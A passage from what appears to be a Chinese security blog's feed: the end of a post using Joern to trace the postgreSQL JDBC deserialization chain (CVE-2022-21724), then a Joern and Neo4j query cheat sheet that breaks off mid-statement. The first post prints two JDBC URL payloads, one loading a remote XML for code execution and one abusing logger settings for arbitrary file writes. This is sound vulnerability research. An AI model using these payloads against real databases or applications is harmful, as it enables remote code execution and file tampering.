&#125;</span><br><span class="line"></span><br><span class="line">        &#x2F;&#x2F; 所有的路径都处理完了，结果放在 nextBuffer 中</span><br><span class="line">        finalResult &#x3D; nextBuffer</span><br><span class="line">        nextBuffer &#x3D; List()</span><br><span class="line">    &#125;</span><br><span class="line">    return results</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个findUntil实现了<strong>repeat…untail…times</strong>的功能，而且也做了<strong>一定的去重和优化</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">def sink &#x3D; cpg.method.name(&quot;newInstance&quot;)</span><br><span class="line">def source &#x3D; cpg.method.name(&quot;connect&quot;)</span><br><span class="line"></span><br><span class="line">findUntil(sink, source, 10).map(path &#x3D;&gt; path.map(node &#x3D;&gt; (node.fullName))).dedup.l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311723509.png" alt="img"></p><p>虽然这里的函数调用链是正确的，但这里面有个很大的区别就是，<strong>通过repeat获取的节点非常粗暴，并不一定是成数据流。</strong></p><p>拿下面这段代码举例子，<strong>理论上来说数据流分析应该从ctor开始一点一点往上，一直找到classname参数，然后再到方法instantiate</strong>，但如果直接<strong>用caller会直接获取到instantiate方法，也就是直接到父节点</strong>。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311723559.png" alt="img"></p><p>但事实上<strong>如果数据流追不到参数，实际上是数据流是不通的</strong>，这种方式太粗暴，有效度也不会太高。连数据流分析的层面都到不了，更别谈过程间分析了。</p><p>最关键的是，仔细研究后感觉<strong>这部分在joern中坑相当大，说白了就是Joern的CPG结构中其实没有这种执行流概念，节点之间链接只有AST指向，边的特性也没有明确的显示。</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311723540.png" alt="img"></p><p>用比较通俗的话讲，就是<strong>CPG更强调调用关系</strong>，就比如<strong>调用NewInstance方法的位置属于方法Instantiate的子节点</strong>，而<strong>具体到代码块执行流程，则只是简单的AST指向关系</strong>，<strong>除了有向边以外，也没有显示这种指向关系的特殊性。</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311723050.png" alt="img"></p><p>这方面的问题需要再花时间研究一下，这篇文章先不深入去讲。后面专门写文章研究这部分。</p><h2 id="其他利用链"><a href="#其他利用链" class="headerlink" title="其他利用链"></a>其他利用链</h2><p>我们仿照第一个利用链的语法，直接<strong>模拟一下其他几个利用链的挖掘方式</strong></p><ul><li><strong>任意代码执行 sslfactory/sslfactoryarg</strong></li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"># sslfactory&amp;sslfactroyarg，任意代码执行</span><br><span class="line">jdbc:postgresql:&#x2F;&#x2F;127.0.0.1:5432&#x2F;test&#x2F;?sslfactory&#x3D;org.spring.framework.context.support.ClassPathXmlApplicationContext&amp;sslfactoryarg&#x3D;http:&#x2F;&#x2F;test.joychou.org&#x2F;1.xml</span><br></pre></td></tr></table></figure><p>对应的利用链其实和上一个是一样的，<strong>入口都是connect，漏洞点都是newinstance</strong>，这条利用链用上面的代码就可以查询到</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">def sink &#x3D; cpg.method.name(&quot;newInstance&quot;)</span><br><span class="line">def source &#x3D; cpg.method.name(&quot;connect&quot;)</span><br><span class="line"></span><br><span class="line">findUntil(sink, source, 10).map(path &#x3D;&gt; path.map(node &#x3D;&gt; (node.fullName))).dedup.l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311723267.png" alt="img"></p><ul><li><strong>任意文件写入 loggerLevel/loggerFile</strong></li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"># loggerLevel&amp;loggerFile，任意文件写</span><br><span class="line">jdbc:postgresql:&#x2F;&#x2F;127.0.0.1:5432&#x2F;test?loggerLevel&#x3D;debug&amp;loggerFile&#x3D;test.txt&amp;test</span><br></pre></td></tr></table></figure><p>这个漏洞的利用链相对特殊，其实是<strong>利用了logger本身的功能</strong>，通过<strong>配置log写入的文件来实现任意文件写</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311723891.png" alt="img"></p><p>这里<strong>类初始化的操作在joern被标记为<init></strong>，所以sink为</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.method.where(_.name(&quot;&lt;init&gt;&quot;)).where(_.fullName(&quot;.*FileHandler.*&quot;))</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311723607.png" alt="img"></p><p>这样我们再次追利用链</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">def sink &#x3D; cpg.method.where(_.name(&quot;&lt;init&gt;&quot;)).where(_.fullName(&quot;.*FileHandler.*&quot;))</span><br><span class="line">def source &#x3D; cpg.method.name(&quot;connect&quot;)</span><br><span class="line"></span><br><span class="line">findUntil(sink, source, 10).map(path &#x3D;&gt; path.map(node &#x3D;&gt; (node.fullName))).dedup.l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311723710.png" alt="img"></p><h2 id="完善利用链"><a href="#完善利用链" class="headerlink" title="完善利用链"></a>完善利用链</h2><p>在<strong>找到可控的**</strong>newInstance位置**之后，我们还需要继续完善利用链的最后一步。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311723065.png" alt="img"></p><p>根据我们刚才找到的漏洞位置，我们需要找到<strong>一个对应的构造方法参数为一个String的类</strong>来做进一步利用。</p><p>在Joern中可以<strong>通过寻找构造函数的关键字，再限制方法的返回类型来寻找这样的类</strong>.</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.method.where(_.isConstructor).whereNot(_.typeDecl.isAbstract).fullName(&quot;.*:void\\(java.lang.String\\).*&quot;).fullName.l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311723436.png" alt="img"></p><p>当然这里找到的类是不全的，这里的问题和前面类似。<strong>Joern不会解jar包里的jar包</strong>，所以无法<strong>跟进去分析整个项目的依赖</strong>，自然也就没办法找到完整的利用点，这里不赘述了</p><h2 id="修复"><a href="#修复" class="headerlink" title="修复"></a>修复</h2><p>这个漏洞的修复也相当粗暴，在我们找到的最终执行命令的初始化任意类的地方，<strong>新版本直接指定获取的类名必须是指定类的子类，直接限制了后续的利用条件</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311723278.png" alt="img"></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;这个系列会记录我用Joern复现真实漏洞的一些过程，同样也是对Joern的深入探索。&lt;/p&gt;
&lt;p&gt;这里我选用&lt;strong&gt;Java-sec-code的范例代码&lt;/strong&gt;做第一部分，这篇文章记录了两个比较经典的漏洞&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Springboot Acutators导致命令执行&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;postgreSQL jdbc反序列化漏洞(CVE-2022-21724)&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Joern分析Java代码可以选择用代码文件夹也可以选择直接分析jar包&lt;/p&gt;
&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;importCode(&amp;quot;..&amp;#x2F;..&amp;#x2F;java-sec-code&amp;#x2F;target&amp;#x2F;java-sec-code-1.0.0.jar&amp;quot;)&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;</summary>
    
    
    
    
    <category term="java" scheme="https://lorexxar.cn/tags/java/"/>
    
    <category term="sast" scheme="https://lorexxar.cn/tags/sast/"/>
    
    <category term="joern" scheme="https://lorexxar.cn/tags/joern/"/>
    
  </entry>
  
  <entry>
    <title>深入浅出Joern（三）Joern和Neo4j常用语法大全</title>
    <link href="https://lorexxar.cn/2023/08/24/joern3/"/>
    <id>https://lorexxar.cn/2023/08/24/joern3/</id>
    <published>2023-08-24T08:03:49.000Z</published>
    <updated>2023-08-31T09:09:10.000Z</updated>
    
    <content type="html"><![CDATA[<p>前两篇文章主要讲了Joern相关技术的设计原理，以及CPG的实际表现</p><ul><li><a href="https://lorexxar.cn/2023/08/21/joern-and-cpg/">https://lorexxar.cn/2023/08/21/joern-and-cpg/</a></li><li><a href="https://lorexxar.cn/2023/08/22/joern2/">https://lorexxar.cn/2023/08/22/joern2/</a></li></ul><p>在研究Joern和Neo4j的过程中，我遇到了一个相当大的问题，就是由于我对<strong>OverflowDB包括scala和cypher语言</strong>都不熟。Joern和Neo4j分别支持这几种冷门语言，而相应的文档其实没有解决我的问题。</p><p>所以在继续研究Joern之前，先花时间简单记录<strong>一些Joern和Neo4j实用的语法和范例</strong>，给自己当个字典随时可以查阅。</p><a id="more"></a><h1 id="Joern"><a href="#Joern" class="headerlink" title="Joern"></a>Joern</h1><ul><li><a href="https://docs.joern.io/cpgql/reference-card/" target="_blank" rel="noopener">https://docs.joern.io/cpgql/reference-card/</a></li><li><a href="https://docs.joern.io/cpgql/node-type-steps/" target="_blank" rel="noopener">https://docs.joern.io/cpgql/node-type-steps/</a></li></ul><h2 id="节点获取"><a href="#节点获取" class="headerlink" title="节点获取"></a>节点获取</h2><ul><li><strong>cpg.method.name(‘xxx’)</strong></li><li><strong>cpg.method(‘xxx’)</strong></li></ul><p>寻找对应名字的方法定义的位置</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">joern&gt; cpg.method.name(<span class="string">"getRequestBody"</span>).l</span><br><span class="line">val res4: List[io.shiftleft.codepropertygraph.generated.nodes.Method] = List(</span><br><span class="line">  Method(</span><br><span class="line">    id = <span class="number">15337L</span>,</span><br><span class="line">    astParentFullName = <span class="string">"&lt;empty&gt;"</span>,</span><br><span class="line">    astParentType = <span class="string">"&lt;empty&gt;"</span>,</span><br><span class="line">    code = <span class="string">"public static String getRequestBody(HttpServletRequest request) throws IOException"</span>,</span><br><span class="line">    columnNumber = Some(value = <span class="number">5</span>),</span><br><span class="line">    columnNumberEnd = Some(value = <span class="number">5</span>),</span><br><span class="line">    filename = <span class="string">"src\\main\\java\\org\\joychou\\util\\WebUtils.java"</span>,</span><br><span class="line">    fullName = <span class="string">"org.joychou.util.WebUtils.getRequestBody:&lt;unresolvedSignature&gt;(1)"</span>,</span><br><span class="line">    hash = <span class="literal">None</span>,</span><br><span class="line">    isExternal = false,</span><br><span class="line">    lineNumber = Some(value = <span class="number">13</span>),</span><br><span class="line">    lineNumberEnd = Some(value = <span class="number">16</span>),</span><br><span class="line">    name = <span class="string">"getRequestBody"</span>,</span><br><span class="line">    order = <span class="number">1</span>,</span><br><span class="line">    signature = <span class="string">"&lt;unresolvedSignature&gt;(1)"</span></span><br><span class="line">  )</span><br><span class="line">)</span><br></pre></td></tr></table></figure><ul><li><strong>cpg.call.name(‘xxx’)</strong></li><li><strong>cpg.call(‘xxx’)</strong></li></ul><p>寻找对应方法/函数调用的位置</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">joern&gt; cpg.call(<span class="string">"getRequestBody"</span>).take(<span class="number">1</span>).l</span><br><span class="line">val res7: List[io.shiftleft.codepropertygraph.generated.nodes.Call] = List(</span><br><span class="line">  Call(</span><br><span class="line">    id = <span class="number">8485L</span>,</span><br><span class="line">    argumentIndex = <span class="number">2</span>,</span><br><span class="line">    argumentName = <span class="literal">None</span>,</span><br><span class="line">    code = <span class="string">"getRequestBody(request)"</span>,</span><br><span class="line">    columnNumber = Some(value = <span class="number">22</span>),</span><br><span class="line">    dispatchType = <span class="string">"DYNAMIC_DISPATCH"</span>,</span><br><span class="line">    dynamicTypeHintFullName = ArraySeq(),</span><br><span class="line">    lineNumber = Some(value = <span class="number">25</span>),</span><br><span class="line">    methodFullName = <span class="string">"org.joychou.util.WebUtils.getRequestBody:&lt;unresolvedSignature&gt;(1)"</span>,</span><br><span class="line">    name = <span class="string">"getRequestBody"</span>,</span><br><span class="line">    order = <span class="number">2</span>,</span><br><span class="line">    possibleTypes = ArraySeq(),</span><br><span class="line">    signature = <span class="string">"&lt;unresolvedSignature&gt;(1)"</span>,</span><br><span class="line">    typeFullName = <span class="string">"java.lang.String"</span></span><br><span class="line">  )</span><br><span class="line">)</span><br></pre></td></tr></table></figure><ul><li><strong>cpg.annotation.name(“.*Mapping”)</strong></li><li><strong>cpg.annotation(“.*Mapping”)</strong></li></ul><p>寻找对应名字注解的节点</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">joern&gt; cpg.annotation.name(<span class="string">".*Mapping"</span>).take(<span class="number">1</span>).l</span><br><span class="line">val res10: List[io.shiftleft.codepropertygraph.generated.nodes.Annotation] = List(</span><br><span class="line">  Annotation(</span><br><span class="line">    id = <span class="number">2532L</span>,</span><br><span class="line">    argumentIndex = <span class="number">-1</span>,</span><br><span class="line">    argumentName = <span class="literal">None</span>,</span><br><span class="line">    code = <span class="string">"@RequestMapping(\"/safecode\")"</span>,</span><br><span class="line">    columnNumber = Some(value = <span class="number">5</span>),</span><br><span class="line">    fullName = <span class="string">"org.springframework.web.bind.annotation.RequestMapping"</span>,</span><br><span class="line">    lineNumber = Some(value = <span class="number">20</span>),</span><br><span class="line">    name = <span class="string">"RequestMapping"</span>,</span><br><span class="line">    order = <span class="number">7</span></span><br><span class="line">  )</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p>在joern的节点你都可以非常简单的<strong>用点连接来获取对应节点连接的其他节点</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">joern&gt; cpg.annotation.name(<span class="string">".*Mapping"</span>).method.take(<span class="number">1</span>).l</span><br><span class="line">val res21: List[io.shiftleft.codepropertygraph.generated.nodes.Method] = List(</span><br><span class="line">  Method(</span><br><span class="line">    id = <span class="number">2498L</span>,</span><br><span class="line">    astParentFullName = <span class="string">"&lt;empty&gt;"</span>,</span><br><span class="line">    astParentType = <span class="string">"&lt;empty&gt;"</span>,</span><br><span class="line">    code = <span class="string">"public void crlf(HttpServletRequest request, HttpServletResponse response)"</span>,</span><br><span class="line">    columnNumber = Some(value = <span class="number">5</span>),</span><br><span class="line">    columnNumberEnd = Some(value = <span class="number">5</span>),</span><br><span class="line">    filename = <span class="string">"src\\main\\java\\org\\joychou\\controller\\CRLFInjection.java"</span>,</span><br><span class="line">    fullName = <span class="string">"org.joychou.controller.CRLFInjection.crlf:&lt;unresolvedSignature&gt;(2)"</span>,</span><br><span class="line">    hash = <span class="literal">None</span>,</span><br><span class="line">    isExternal = false,</span><br><span class="line">    lineNumber = Some(value = <span class="number">20</span>),</span><br><span class="line">    lineNumberEnd = Some(value = <span class="number">28</span>),</span><br><span class="line">    name = <span class="string">"crlf"</span>,</span><br><span class="line">    order = <span class="number">1</span>,</span><br><span class="line">    signature = <span class="string">"&lt;unresolvedSignature&gt;(2)"</span></span><br><span class="line">  )</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p>除了常规的<strong>method，annotation，call</strong>这种以外，比较常见的节点类型还有</p><p><a href="https://docs.joern.io/cpgql/node-type-steps/" target="_blank" rel="noopener">https://docs.joern.io/cpgql/node-type-steps/</a></p><ul><li><strong>cpg.configFile：配置文件</strong></li><li><strong>cpg.identifier：标识符</strong></li><li><strong>cpg.imports：引用</strong></li><li><strong>cpg.methodReturn：方法的返回节点</strong></li><li><strong>cpg.parameter：参数</strong></li></ul><p>当然除了上面的这些节点以外，还有一些调用关系的通用节点</p><ul><li><strong>cpg.method.name(“getRequestBody”).caller</strong></li></ul><p>返回节点列表对应节点的被调用节点，也就是父节点</p><ul><li><strong>cpg.method.name(“getRequestBody”).callee</strong></li></ul><p>返回节点列表对应节点的调用节点，也就是子节点</p><ul><li><strong>cpg.method.name(“getRequestBody”).callIn</strong></li></ul><p>返回节点列表对应父节点的所有节点</p><h2 id="过滤器"><a href="#过滤器" class="headerlink" title="过滤器"></a>过滤器</h2><p>凡是节点连接的都是作为结果传到下一级的，如果是想筛选符合条件的节点则需要<strong>用where或者属性过滤器</strong>，比如说</p><ul><li><strong>cpg.method.name(“getRequestBody”).l</strong></li></ul><p>查询名字为getRequestBody，这个name就是属性过滤器，向下一级返回的是符合属性过滤器的method节点</p><ul><li><strong>cpg.method.where(_.name(“getRequestBody”)).l</strong></li></ul><p>或者用where也行，where语句内容会作为筛选条件影响返回的method内容</p><ul><li><strong>cpg.method.name.l</strong></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">joern&gt; cpg.method.name.l</span><br><span class="line">val res36: List[String] = List(</span><br><span class="line">  <span class="string">"configure"</span>,</span><br><span class="line">  <span class="string">"main"</span>,</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>如果不是使用()作为属性过滤器，那么返回内容就会直接变成name属性列表。</p><p>当然除了where以外，也支持很多种过滤器</p><ul><li><p><strong>where，whereNot：筛选返回为空或者非空的节点</strong></p></li><li><ul><li>cpg.method.where(_.isExternal(false)).name.l</li></ul></li><li><p><strong>filter，filterNot：筛选返回为True或者False的节点</strong></p></li><li><ul><li>cpg.method.filter(_.isExternal == false).name.l</li></ul></li><li><p><strong>and，or：多个过滤器之间的关系</strong></p></li></ul><h2 id="返回结果处理"><a href="#返回结果处理" class="headerlink" title="返回结果处理"></a>返回结果处理</h2><p>在处理结果返回的时候也有一些方式改变返回的内容。一般来说查询结果会是<strong>一个字典列表</strong>。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">joern&gt; cpg.method.name(<span class="string">"getRequestBody"</span>).l</span><br><span class="line">val res64: List[io.shiftleft.codepropertygraph.generated.nodes.Method] = List(</span><br><span class="line">  Method(</span><br><span class="line">    id = <span class="number">15337L</span>,</span><br><span class="line">    astParentFullName = <span class="string">"&lt;empty&gt;"</span>,</span><br><span class="line">    astParentType = <span class="string">"&lt;empty&gt;"</span>,</span><br><span class="line">    code = <span class="string">"public static String getRequestBody(HttpServletRequest request) throws IOException"</span>,</span><br><span class="line">    columnNumber = Some(value = <span class="number">5</span>),</span><br><span class="line">    columnNumberEnd = Some(value = <span class="number">5</span>),</span><br><span class="line">    filename = <span class="string">"src\\main\\java\\org\\joychou\\util\\WebUtils.java"</span>,</span><br><span class="line">    fullName = <span class="string">"org.joychou.util.WebUtils.getRequestBody:&lt;unresolvedSignature&gt;(1)"</span>,</span><br><span class="line">    hash = <span class="literal">None</span>,</span><br><span class="line">    isExternal = false,</span><br><span class="line">    lineNumber = Some(value = <span class="number">13</span>),</span><br><span class="line">    lineNumberEnd = Some(value = <span class="number">16</span>),</span><br><span class="line">    name = <span class="string">"getRequestBody"</span>,</span><br><span class="line">    order = <span class="number">1</span>,</span><br><span class="line">    signature = <span class="string">"&lt;unresolvedSignature&gt;(1)"</span></span><br><span class="line">  )</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p>可以用<strong>map来改变返回的结构</strong>，这是一个类似于lambda的语法，会<strong>遍历列表的所有节点然后生成结果.</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">joern&gt; cpg.method.name("getRequestBody").map(n=&gt;List(n.filename, n.lineNumber, n.fullName, n.code)).l</span><br><span class="line">val res66: List[List[String | Option[Integer]]] = List(</span><br><span class="line">  List(</span><br><span class="line">    <span class="string">"src\\main\\java\\org\\joychou\\util\\WebUtils.java"</span>,</span><br><span class="line">    Some(value = <span class="number">13</span>),</span><br><span class="line">    <span class="string">"org.joychou.util.WebUtils.getRequestBody:&lt;unresolvedSignature&gt;(1)"</span>,</span><br><span class="line">    <span class="string">"public static String getRequestBody(HttpServletRequest request) throws IOException"</span></span><br><span class="line">  )</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p>除了map以外，另外还有两个实用的</p><ul><li><strong>.clone，创建一个深复制，是在写比较复杂的脚本时候用到的</strong></li><li><strong>.dedup，列表内容去重</strong></li><li><strong>.sideEffect，按照格式要求执行但不改变原列表</strong></li></ul><h2 id="重复获取"><a href="#重复获取" class="headerlink" title="重复获取"></a>重复获取</h2><p>既然需要寻找两个节点之间的路径，那么就少不了重复，<strong>重复获取父级节点</strong>就是最简单的一种数据流分析。</p><ul><li><strong>x.repeat(_.caller)(_.times(5))</strong></li></ul><p>重复获取caller共5次，如果找不到结果就会停止</p><ul><li><strong>x.repeat(_.caller)(_.until(_.name(“foo”)))</strong></li></ul><p>重复调用 caller 查询，直到找到一个方法名为 foo 的方法，找不到就返回空。</p><ul><li><strong>x.repeat(_.caller)(_.emit(_.isMethod).times(5))</strong></li></ul><p>emit的意思是会将查询的过程节点作为返回的列表中的一员。</p><p>上面这句语句就是指，重复5次获取当前节点的caller的节点属性，除此之外还会带上路径上所有满足isMethod的节点。</p><h2 id="格式化"><a href="#格式化" class="headerlink" title="格式化"></a>格式化</h2><p>Joern对于返回结果提供了公式化的输出格式，而且如果不指定输出直接就没有返回</p><ul><li><strong>toList，L，输出列表</strong></li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308241610656.png" alt="img"></p><ul><li><strong>toJson，toJsonPretty，输出json或者格式化的json</strong></li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308241610940.png" alt="img"></p><ul><li><strong>p，browse，输出可读性非常强的结果，如果是流会输出表格</strong></li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308241610604.png" alt="img"></p><ul><li><strong>size，输出节点数量</strong></li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308241610617.png" alt="img"></p><ul><li><strong>dump，dumpRaw，输出节点代码，只有节点才有这个属性</strong></li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308241610265.png" alt="img"></p><h2 id="数据流分析"><a href="#数据流分析" class="headerlink" title="数据流分析"></a>数据流分析</h2><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">def source = cpg.method.where(_.annotation.name(".*Mapping")).parameter</span><br><span class="line">def sink = cpg.call.name("exec")</span><br></pre></td></tr></table></figure><ul><li><strong>reachableBy，</strong>是最简单的数据流分析函数，他返回的是从前面开始到后面，这个<strong>后面节点的位置</strong>。比如这里从sink开始查找，展示的就是source的位置</li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308241610904.png" alt="img"></p><ul><li><strong>reachableByFlows，展示两个节点之间的流，包括流上的每个节点</strong></li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308241610443.png" alt="img"></p><h1 id="Neo4j"><a href="#Neo4j" class="headerlink" title="Neo4j"></a>Neo4j</h1><p>Neo4j的语法在我看来要比Joern的语法别扭多了，但有些问题其实在Neo4j会更容易得到答案，<strong>可视化的图结构</strong>在某些情况下会有非常明显的优势。</p><h2 id="创建实体和关系"><a href="#创建实体和关系" class="headerlink" title="创建实体和关系"></a>创建实体和关系</h2><ul><li>最简单的<strong>创建实体和关系</strong>（不带属性）</li></ul><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">create (n:Person)-[:LOVES]-&gt;(m:Dog)</span><br></pre></td></tr></table></figure><ul><li><strong>创建2个或多个属性的实体</strong></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">create (z:ziduan&#123;name:<span class="string">"f_name"</span>,table:<span class="string">"dianlibiao"</span>&#125;) <span class="keyword">return</span> count(*)</span><br></pre></td></tr></table></figure><ul><li><strong>创建带属性的实体和关系</strong></li></ul><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">create (n:Person&#123;name:"李四"&#125;)-[:FEAR&#123;level:1&#125;]-&gt;(t:Tiger&#123;type:"东北虎"&#125;)</span><br></pre></td></tr></table></figure><ul><li><strong>对实体间创建关系</strong></li></ul><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">match (n:Person&#123;name:""王五""&#125;), (m:Person&#123;name:"赵六"&#125;) create (n)-[k:KNOW]-&gt;(m) return k</span><br></pre></td></tr></table></figure><h2 id="delete-删除实体或关系"><a href="#delete-删除实体或关系" class="headerlink" title="delete 删除实体或关系"></a>delete 删除实体或关系</h2><ul><li>先<strong>用match查找已有实体、关系</strong>， 再用<strong>delete删除关系</strong></li></ul><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">match (n:Person&#123;name:"李四"&#125;)-[f:FEAR]-&gt;(t:Tiger) delete f</span><br></pre></td></tr></table></figure><ul><li><strong>删除所有节点中的边关系</strong></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">match(m)-[b:bian]-(n) delete b</span><br></pre></td></tr></table></figure><ul><li><strong>match查询实体，delete删除实体</strong></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">match (n:Person&#123;name:<span class="string">"李四"</span>&#125;) delete n</span><br></pre></td></tr></table></figure><ul><li><strong>同时删除实体和关系</strong></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">match(n) detach delete n</span><br></pre></td></tr></table></figure><ul><li><strong>删除所有节点</strong></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">match (n) delete n</span><br></pre></td></tr></table></figure><ul><li><strong>删除所有节点并级联删除关系</strong></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">match (n) detach delete n</span><br></pre></td></tr></table></figure><ul><li><strong>删除Loc标签的所有节点和关系</strong></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">MATCH (r:Loc) DETACH DELETE 